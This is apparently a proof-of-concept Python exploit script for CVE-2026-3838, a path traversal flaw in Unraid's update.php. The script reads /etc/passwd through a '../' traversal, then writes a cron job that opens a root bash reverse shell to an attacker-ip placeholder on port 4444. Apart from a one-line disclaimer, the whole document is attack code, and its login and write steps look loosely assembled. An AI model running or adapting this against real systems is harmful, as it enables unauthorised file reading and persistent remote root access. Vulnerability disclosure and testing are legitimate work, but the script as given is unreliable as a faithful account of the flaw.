CVE-2026-3838 Unraid update.php路径遍历远程代码执行漏洞

# CVE-2026-3838 Unraid Path Traversal RCE PoC # Reference: ZDI-CAN-28951 import requests import urllib3 urllib3.disable_warnings() target = "https://target-unraid-server:443" username = "attacker" password = "password123" session = requests.Session() # Step 1: Authenticate to Unraid login_url = f"{target}/update.php" login_data = { "username": username, "password": password } response = session.post(login_url, data=login_data, verify=False) print(f"Login status: {response.status_code}") # Step 2: Path traversal to read sensitive files # Exploit the lack of path validation in update.php path_traversal_payload = "../../../../etc/passwd" exploit_url = f"{target}/update.php?file={path_traversal_payload}" response = session.get(exploit_url, verify=False) if response.status_code == 200: print("Path traversal successful - /etc/passwd content:") print(response.text[:500]) # Step 3: RCE via writing to cron or startup scripts rce_payload = "../../../../etc/cron.d/malicious" rce_data = { "file": rce_payload, "content": "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'\n" } rce_url = f"{target}/update.php" response = session.post(rce_url, data=rce_data, verify=False) print(f"RCE write status: {response.status_code}") print("\n[!] This PoC demonstrates the vulnerability. Use responsibly and only on authorized systems.")